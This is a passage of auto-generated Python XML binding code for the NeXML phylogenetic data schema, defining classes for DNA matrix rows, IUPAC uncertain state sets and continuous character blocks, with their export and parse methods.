DNAMatrixObsRow(AbstractObsRow): """This is a row in a matrix of DNA data containing granular observations.""" subclass = None superclass = AbstractObsRow def __init__(self, about=None, meta=None, label=None, id=None, otu=None, cell=None, set=None, valueOf_=None): super(DNAMatrixObsRow, self).__init__(about, meta, label, id, otu, cell, set, ) if meta is None: self.meta = [] else: self.meta = meta if cell is None: self.cell = [] else: self.cell = cell if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if DNAMatrixObsRow.subclass: return DNAMatrixObsRow.subclass(*args_, **kwargs_) else: return DNAMatrixObsRow(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_cell(self): return self.cell def set_cell(self, cell): self.cell = cell def add_cell(self, value): self.cell.append(value) def insert_cell(self, index, value): self.cell[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='DNAMatrixObsRow', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='DNAMatrixObsRow') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='DNAMatrixObsRow'): super(DNAMatrixObsRow, self).exportAttributes(outfile, level, already_processed, namespace_, name_='DNAMatrixObsRow') def exportChildren(self, outfile, level, namespace_='', name_='DNAMatrixObsRow', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') for cell_ in self.cell: cell_.export(outfile, level, namespace_, name_='cell') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.meta or self.cell or self.set or super(DNAMatrixObsRow, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='DNAMatrixObsRow'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(DNAMatrixObsRow, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(DNAMatrixObsRow, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('cell=[\n') level += 1 for cell_ in self.cell: showIndent(outfile, level) outfile.write('model_.DNAObs(\n') cell_.exportLiteral(outfile, level, name_='DNAObs') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.CellSet(\n') set_.exportLiteral(outfile, level, name_='CellSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(DNAMatrixObsRow, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) elif nodeName_ == 'cell': obj_ = DNAObs.factory() obj_.build(child_) self.cell.append(obj_) elif nodeName_ == 'set': obj_ = CellSet.factory() obj_.build(child_) self.set.append(obj_) # end class DNAMatrixObsRow class DNAMatrixSeqRow(AbstractSeqRow): """This is a row in a matrix of DNA data containing raw sequence data.""" subclass = None superclass = AbstractSeqRow def __init__(self, about=None, meta=None, label=None, id=None, otu=None, seq=None, valueOf_=None): super(DNAMatrixSeqRow, self).__init__(about, meta, label, id, otu, seq, ) if meta is None: self.meta = [] else: self.meta = meta self.seq = seq def factory(*args_, **kwargs_): if DNAMatrixSeqRow.subclass: return DNAMatrixSeqRow.subclass(*args_, **kwargs_) else: return DNAMatrixSeqRow(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_seq(self): return self.seq def set_seq(self, seq): self.seq = seq def validate_DNASeq(self, value): # Validate type DNASeq, a restriction on AbstractSeq. pass def export(self, outfile, level, namespace_='', name_='DNAMatrixSeqRow', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='DNAMatrixSeqRow') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='DNAMatrixSeqRow'): super(DNAMatrixSeqRow, self).exportAttributes(outfile, level, already_processed, namespace_, name_='DNAMatrixSeqRow') def exportChildren(self, outfile, level, namespace_='', name_='DNAMatrixSeqRow', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') if self.seq is not None: showIndent(outfile, level) outfile.write('<%sseq>%s</%sseq>\n' % (namespace_, self.gds_format_string(quote_xml(self.seq).encode(ExternalEncoding), input_name='seq'), namespace_)) def hasContent_(self): if ( self.meta or self.seq is not None or super(DNAMatrixSeqRow, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='DNAMatrixSeqRow'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(DNAMatrixSeqRow, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(DNAMatrixSeqRow, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') if self.seq is not None: showIndent(outfile, level) outfile.write('seq=%s,\n' % quote_python(self.seq).encode(ExternalEncoding)) def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(DNAMatrixSeqRow, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) elif nodeName_ == 'seq': seq_ = child_.text seq_ = self.gds_validate_string(seq_, node, 'seq') self.seq = seq_ self.validate_DNASeq(self.seq) # validate type DNASeq # end class DNAMatrixSeqRow class DNAUncertainStateSet(AbstractUncertainStateSet): """The DNAUncertainStateSet type defines an IUPAC ambiguity mapping. It may enclose zero or more AbstractMapping elements to resolve ambiguities.""" subclass = None superclass = AbstractUncertainStateSet def __init__(self, about=None, meta=None, label=None, id=None, symbol=None, member=None, valueOf_=None): super(DNAUncertainStateSet, self).__init__(about, meta, label, id, symbol, member, ) self.symbol = _cast(None, symbol) if member is None: self.member = [] else: self.member = member def factory(*args_, **kwargs_): if DNAUncertainStateSet.subclass: return DNAUncertainStateSet.subclass(*args_, **kwargs_) else: return DNAUncertainStateSet(*args_, **kwargs_) factory = staticmethod(factory) def get_member(self): return self.member def set_member(self, member): self.member = member def add_member(self, value): self.member.append(value) def insert_member(self, index, value): self.member[index] = value def get_symbol(self): return self.symbol def set_symbol(self, symbol): self.symbol = symbol def validate_DNAToken(self, value): # Validate type DNAToken, a restriction on AbstractSymbol. pass def export(self, outfile, level, namespace_='', name_='DNAUncertainStateSet', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='DNAUncertainStateSet') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='DNAUncertainStateSet'): super(DNAUncertainStateSet, self).exportAttributes(outfile, level, already_processed, namespace_, name_='DNAUncertainStateSet') if self.symbol is not None and 'symbol' not in already_processed: already_processed.append('symbol') outfile.write(' symbol=%s' % (quote_attrib(self.symbol), )) def exportChildren(self, outfile, level, namespace_='', name_='DNAUncertainStateSet', fromsubclass_=False): for member_ in self.member: member_.export(outfile, level, namespace_, name_='member') def hasContent_(self): if ( self.member or super(DNAUncertainStateSet, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='DNAUncertainStateSet'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.symbol is not None and 'symbol' not in already_processed: already_processed.append('symbol') showIndent(outfile, level) outfile.write('symbol = "%s",\n' % (self.symbol,)) super(DNAUncertainStateSet, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(DNAUncertainStateSet, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('member=[\n') level += 1 for member_ in self.member: showIndent(outfile, level) outfile.write('model_.DNAMapping(\n') member_.exportLiteral(outfile, level, name_='DNAMapping') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('symbol', node) if value is not None and 'symbol' not in already_processed: already_processed.append('symbol') self.symbol = value self.validate_DNAToken(self.symbol) # validate type DNAToken super(DNAUncertainStateSet, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'member': obj_ = DNAMapping.factory() obj_.build(child_) self.member.append(obj_) # end class DNAUncertainStateSet class AbstractCells(AbstractBlock): """The AbstractSeqBlock type is the superclass for character blocks that consist of granular character state observations.""" subclass = None superclass = AbstractBlock def __init__(self, about=None, meta=None, label=None, id=None, otus=None, format=None, matrix=None, valueOf_=None): super(AbstractCells, self).__init__(about, meta, label, id, otus, format, ) self.matrix = matrix def factory(*args_, **kwargs_): if AbstractCells.subclass: return AbstractCells.subclass(*args_, **kwargs_) else: return AbstractCells(*args_, **kwargs_) factory = staticmethod(factory) def get_matrix(self): return self.matrix def set_matrix(self, matrix): self.matrix = matrix def export(self, outfile, level, namespace_='', name_='AbstractCells', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractCells') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="AbstractCells"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='AbstractCells'): super(AbstractCells, self).exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractCells') def exportChildren(self, outfile, level, namespace_='', name_='AbstractCells', fromsubclass_=False): super(AbstractCells, self).exportChildren(outfile, level, namespace_, name_, True) matrix_.export(outfile, level, namespace_, name_='matrix') def hasContent_(self): if ( self.matrix is not None or super(AbstractCells, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='AbstractCells'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(AbstractCells, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(AbstractCells, self).exportLiteralChildren(outfile, level, name_) if self.AbstractObsMatrix is not None: showIndent(outfile, level) outfile.write('AbstractObsMatrix=model_.AbstractObsMatrix(\n') self.AbstractObsMatrix.exportLiteral(outfile, level) showIndent(outfile, level) outfile.write('),\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(AbstractCells, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'matrix': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <matrix> element') self.set_matrix(obj_) super(AbstractCells, self).buildChildren(child_, node, nodeName_, True) # end class AbstractCells class AbstractSeqs(AbstractBlock): """The AbstractSeqBlock type is the superclass for character blocks that consist of raw character sequences.""" subclass = None superclass = AbstractBlock def __init__(self, about=None, meta=None, label=None, id=None, otus=None, format=None, matrix=None, valueOf_=None): super(AbstractSeqs, self).__init__(about, meta, label, id, otus, format, ) self.matrix = matrix def factory(*args_, **kwargs_): if AbstractSeqs.subclass: return AbstractSeqs.subclass(*args_, **kwargs_) else: return AbstractSeqs(*args_, **kwargs_) factory = staticmethod(factory) def get_matrix(self): return self.matrix def set_matrix(self, matrix): self.matrix = matrix def export(self, outfile, level, namespace_='', name_='AbstractSeqs', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractSeqs') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="AbstractSeqs"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='AbstractSeqs'): super(AbstractSeqs, self).exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractSeqs') def exportChildren(self, outfile, level, namespace_='', name_='AbstractSeqs', fromsubclass_=False): super(AbstractSeqs, self).exportChildren(outfile, level, namespace_, name_, True) matrix_.export(outfile, level, namespace_, name_='matrix') def hasContent_(self): if ( self.matrix is not None or super(AbstractSeqs, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='AbstractSeqs'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(AbstractSeqs, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(AbstractSeqs, self).exportLiteralChildren(outfile, level, name_) if self.AbstractSeqMatrix is not None: showIndent(outfile, level) outfile.write('AbstractSeqMatrix=model_.AbstractSeqMatrix(\n') self.AbstractSeqMatrix.exportLiteral(outfile, level) showIndent(outfile, level) outfile.write('),\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(AbstractSeqs, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'matrix': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <matrix> element') self.set_matrix(obj_) super(AbstractSeqs, self).buildChildren(child_, node, nodeName_, True) # end class AbstractSeqs class AbstractPolymorphicStateSet(AbstractUncertainStateSet): """The AbstractPolymorphicStateSet type is the super-class for a polymorphic state set definition. The element has a required AbstractSymbol attribute that in restricted concrete subclasses must be of a sensible type such as a single IUPAC character. It may enclose zero or more AbstractMapping elements to resolve ambiguities.""" subclass = None superclass = AbstractUncertainStateSet def __init__(self, about=None, meta=None, label=None, id=None, symbol=None, member=None, uncertain_state_set=None, valueOf_=None): super(AbstractPolymorphicStateSet, self).__init__(about, meta, label, id, symbol, member, ) if uncertain_state_set is None: self.uncertain_state_set = [] else: self.uncertain_state_set = uncertain_state_set def factory(*args_, **kwargs_): if AbstractPolymorphicStateSet.subclass: return AbstractPolymorphicStateSet.subclass(*args_, **kwargs_) else: return AbstractPolymorphicStateSet(*args_, **kwargs_) factory = staticmethod(factory) def get_uncertain_state_set(self): return self.uncertain_state_set def set_uncertain_state_set(self, uncertain_state_set): self.uncertain_state_set = uncertain_state_set def add_uncertain_state_set(self, value): self.uncertain_state_set.append(value) def insert_uncertain_state_set(self, index, value): self.uncertain_state_set[index] = value def export(self, outfile, level, namespace_='', name_='AbstractPolymorphicStateSet', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractPolymorphicStateSet') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="AbstractPolymorphicStateSet"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='AbstractPolymorphicStateSet'): super(AbstractPolymorphicStateSet, self).exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractPolymorphicStateSet') def exportChildren(self, outfile, level, namespace_='', name_='AbstractPolymorphicStateSet', fromsubclass_=False): super(AbstractPolymorphicStateSet, self).exportChildren(outfile, level, namespace_, name_, True) for uncertain_state_set_ in self.get_uncertain_state_set(): uncertain_state_set_.export(outfile, level, namespace_, name_='uncertain_state_set') def hasContent_(self): if ( self.uncertain_state_set or super(AbstractPolymorphicStateSet, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='AbstractPolymorphicStateSet'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(AbstractPolymorphicStateSet, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(AbstractPolymorphicStateSet, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('uncertain_state_set=[\n') level += 1 for uncertain_state_set_ in self.uncertain_state_set: showIndent(outfile, level) outfile.write('model_.AbstractUncertainStateSet(\n') uncertain_state_set_.exportLiteral(outfile, level, name_='AbstractUncertainStateSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(AbstractPolymorphicStateSet, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'uncertain_state_set': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <uncertain_state_set> element') self.uncertain_state_set.append(obj_) super(AbstractPolymorphicStateSet, self).buildChildren(child_, node, nodeName_, True) # end class AbstractPolymorphicStateSet class ContinuousCells(AbstractCells): """A continuous characters block consisting of granular cells preceded by metadata.""" subclass = None superclass = AbstractCells def __init__(self, about=None, meta=None, label=None, id=None, otus=None, format=None, matrix=None, valueOf_=None): super(ContinuousCells, self).__init__(about, meta, label, id, otus, format, matrix, ) if meta is None: self.meta = [] else: self.meta = meta self.format = format self.matrix = matrix def factory(*args_, **kwargs_): if ContinuousCells.subclass: return ContinuousCells.subclass(*args_, **kwargs_) else: return ContinuousCells(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_format(self): return self.format def set_format(self, format): self.format = format def get_matrix(self): return self.matrix def set_matrix(self, matrix): self.matrix = matrix def export(self, outfile, level, namespace_='', name_='ContinuousCells', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='ContinuousCells') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='ContinuousCells'): super(ContinuousCells, self).exportAttributes(outfile, level, already_processed, namespace_, name_='ContinuousCells') def exportChildren(self, outfile, level, namespace_='', name_='ContinuousCells', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') if self.format: self.format.export(outfile, level, namespace_, name_='format', ) if self.matrix: self.matrix.export(outfile, level, namespace_, name_='matrix', ) def hasContent_(self): if ( self.meta or self.format is not None or self.matrix is not None or super(ContinuousCells, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='ContinuousCells'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(ContinuousCells, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(ContinuousCells, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') if self.format is not None: showIndent(outfile, level) outfile.write('format=model_.ContinuousFormat(\n') self.format.exportLiteral(outfile, level, name_='format') showIndent(outfile, level) outfile.write('),\n') if self.matrix is not None: showIndent(outfile, level) outfile.write('matrix=model_.ContinuousObsMatrix(\n') self.matrix.exportLiteral(outfile, level, name_='matrix') showIndent(outfile, level) outfile.write('),\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(ContinuousCells, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) elif nodeName_ == 'format': obj_ = ContinuousFormat.factory() obj_.build(child_) self.set_format(obj_) elif nodeName_ == 'matrix': obj_ = ContinuousObsMatrix.factory() obj_.build(child_) self.set_matrix(obj_) # end class ContinuousCells class ContinuousSeqs(AbstractSeqs): """A continuous characters block consisting of float sequences preceded by metadata.""" subclass = None superclass = AbstractSeqs def __init__(self, about=None, meta=None, label=None, id=None, otus=None, format=None, matrix=None, valueOf_=None): super(ContinuousSeqs, self).__init__(about, meta, label, id, otus, format, matrix, ) if meta is None: self.meta = [] else: self.meta = meta self.format = format self.matrix = matrix def factory(*args_, **kwargs_): if ContinuousSeqs.subclass: return ContinuousSeqs.subclass(*args_, **kwargs_) else: return ContinuousSeqs(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_format(self): return self.format def set_format(self, format): self.format = format def get_matrix(self): return self.matrix def set_matrix(self, matrix): self.matrix = matrix def export(self, outfile, level, namespace_='', name_='ContinuousSeqs', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='ContinuousSeqs') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='ContinuousSeqs'): super(ContinuousSeqs, self).exportAttributes(outfile, level, already_processed, namespace_, name_='ContinuousSeqs') def exportChildren(self, outfile, level, namespace_='', name_='ContinuousSeqs', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') if self.format: self.format.export(outfile, level, namespace_, name_='format', ) if self.matrix: self.matrix.export(outfile, level, namespace_, name_='matrix', ) def hasContent_(self): if ( self.meta or self.format is not None or self.matrix is not None or super(ContinuousSeqs, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='ContinuousSeqs'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(ContinuousSeqs, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(ContinuousSeqs, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') if self.format is not None: showIndent(outfile, level) outfile.write('format=model_.ContinuousFormat(\n') self.format.exportLiteral(outfile, level, name_='format') showIndent(outfile, level) outfile.write('),\n') if self.matrix is not None: showIndent(outfile, level) outfile.write('matrix=model_.ContinuousSeqMatrix(\n') self.matrix.exportLiteral(outfile, level, name_='matrix') showIndent(outfile, level) outfile.write('),\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(ContinuousSeqs, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) elif nodeName_ == 'format': obj_ = ContinuousFormat.factory() obj_.build(child_) self.set_format(obj_) elif nodeName_ == 'matrix': obj_ = ContinuousSeqMatrix.factory() obj_.build(child_) self.set_matrix(obj_) # end class ContinuousSeqs class StandardCells(AbstractCells): """A standard characters block consisting of granular cells preceded by metadata.""" subclass = None superclass = AbstractCells def __init__(self, about=None, meta=None, label=None, id=None, otus=None, format=None, matrix=None, valueOf_=None): super(StandardCells, self).__init__(about, meta, label, 